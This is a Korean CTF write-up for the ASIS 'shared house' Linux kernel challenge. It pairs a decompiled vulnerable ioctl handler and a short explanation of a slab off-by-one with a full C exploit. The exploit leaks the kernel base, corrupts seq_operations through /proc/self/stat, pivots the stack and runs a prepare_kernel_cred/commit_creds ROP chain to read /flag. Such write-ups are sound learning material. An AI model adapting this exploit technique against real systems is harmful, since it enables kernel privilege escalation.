본문으로 바로가기

Kernel (11) - ASIS CTF shared house ( slab object off by one )

Analysis

signed __int64 __fastcall mod_ioctl(__int64 a1, unsigned int a2, __int64 a3)
{
 unsigned int v3; // ebx
 __int64 v4; // rsi
 unsigned int v6; // [rsp+0h] [rbp-18h]
 __int64 v7; // [rsp+8h] [rbp-10h]

 v3 = a2;
 v4 = a3;
 if ( copy_from_user(&v6, a3, 16LL) )
   return -14LL;
 if ( v6 <= 0x80 )
{
   mutex_lock(&_mutex);
   if ( v3 == 0xC12ED002 )
  {
     if ( !note )
    {
LABEL_10:
       mutex_unlock(&_mutex);
       return -22LL;
    }
     kfree(note, v4);
     *(&note + 0x20000000) = 0LL;
  }
   else if ( v3 <= 0xC12ED002 )
  {
     if ( v3 != 0xC12ED001 )
       goto LABEL_10;
     if ( note )
       kfree(note, v4);
     size = v6;
     note = _kmalloc(v6, 0x6080C0LL);
     if ( !note )
       goto LABEL_10;
  }
   else if ( v3 == 0xC12ED003 )
  {
     if ( !note || v6 > size || copy_from_user(note, v7, v6) )
       goto LABEL_10;
     note[v6] = 0;
  }
   else if ( v3 != 0xC12ED004 || !note || v6 > size || copy_to_user(v7) )
  {
     goto LABEL_10;
  }
   mutex_unlock(&_mutex);
   return 0LL;
}
 return -22LL;
}

edit할 때 off by one이 heap에서 발생합니다

커널에서는 메모리 관리는 ptmalloc이 아니라 다른방식으로 하는데, 특히 여기서 slab, slub등의 메모리 할당방식을 사용합니다. (쉽게 생각하면 fd임)

여기서 off by one이 발생해서 free slab object의 한바이트를 NULL로 바꾸게되면 재밌는 일이 일어납니다.


이런느낌? 입니다.

https://www.notion.so/9baf3eea4046417298dd27bda29db935?v=085abc40ade64856a85021db79b58994&p=743766a2480b43a5ae8abee38752c0a4

익스플로잇은 seq_operation으로 합니다.

/proc/self/stat를 open할 때 커널에서 seq_operation를 힙에 할당하는데, 이걸 힙쪽에 할당시켜놓고 함수포인터를 변조시키면 read등을 시도할 때 원하는 함수를 실행할 수 있습니다.


Exploit

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/mman.h>

#define ADD 0xC12ED001
#define DEL 0xC12ED002
#define EDIT 0xC12ED003
#define VIEW 0xC12ED004

typedef struct _Arg{
   unsigned long long size;
   char *buf;
} Arg;

Arg user;
int fd;

unsigned long long user_cs, user_ss, user_eflags, user_sp;

void save_tf()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"pushf;"
"pop user_eflags;"
);
}

void shell()
{
char flag[0x30] = {0,};
int fd = open("/flag",O_RDONLY);
   
   read(fd,flag,0x30);
   write(1,flag,0x30);
}

int add_note(unsigned long long size)
{
   user.size = size;
   return ioctl(fd, ADD, &user);
}

int del_note()
{
   return ioctl(fd, DEL, &user);
}

int edit_note(unsigned long long size, char *buf)
{
   user.size = size;
   user.buf = buf;
   return ioctl(fd, EDIT, &user);
}

int view_note(unsigned long long size, char *buf)
{
   user.size = size;
   user.buf = buf;
   return ioctl(fd, VIEW, &user);
}

int main()
{
   save_tf();
   char *laterstack = calloc(1,0x10000);
user_sp = laterstack + 0x8000;

   fd = open("/dev/note", O_RDWR);
   
   if (fd < 0)
  {
       puts("failed to open ko");
       exit(-1);
  }

   char *tmp = calloc(1, 0x2000);
   char *payload = calloc(1, 0x100);

memset(payload, 0x41, 0x20);

for(int i = 0; i < 6; i++)
open("/proc/self/stat",O_RDONLY);

add_note(0x20);
edit_note(0x20,payload);

open("/proc/self/stat",O_RDONLY);
int victim = open("/proc/self/stat",O_RDONLY);
view_note(0x20,tmp);

unsigned long long leak[4] = {0,};
memcpy(leak,tmp,sizeof(leak));

unsigned long long base = leak[0] - 0x13be60;
unsigned long long xchg = base + 0x02ce8f;
unsigned long long rdi = base + 0x22dd4b;
unsigned long long mov_rdi_rax = base + 0x21f8fc;
unsigned long long swapgs = base + 0x3ef24;
unsigned long long iretq = base + 0x600ae7;

unsigned long long commit_creds = base + 0x69c10;
unsigned long long prepare_kernel_cred = base + 0x69e00;

printf("[+] leak kernel address : %p\n",leak[0]);
printf("[+] leak kenrel base address : %p\n",base);
printf("[+] xchg : %p\n",xchg);

getchar();

unsigned long long rop[] = {
rdi,
   0,
   0,
   prepare_kernel_cred,
   mov_rdi_rax,
   0x4141414141414141,
   commit_creds,
   swapgs,
   0x4242424242424242,
   iretq,
   &shell,
   user_cs,
   user_eflags,
   user_sp,
  user_ss
};

unsigned long long trigger[] = {
  xchg,
   xchg,
   xchg,
   xchg
};

   unsigned long long *stack = mmap(xchg & 0xfffff000 - 0x2000, 0x5000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);

printf("[+] fake stack : 0x%llx\n",stack);

memcpy(xchg & 0xffffffff,rop,sizeof(rop));

edit_note(0x20,trigger);
read(victim,tmp,0x1);

   return 0;
}

넘무 귀찮아서 자세히는 안적겠습니다.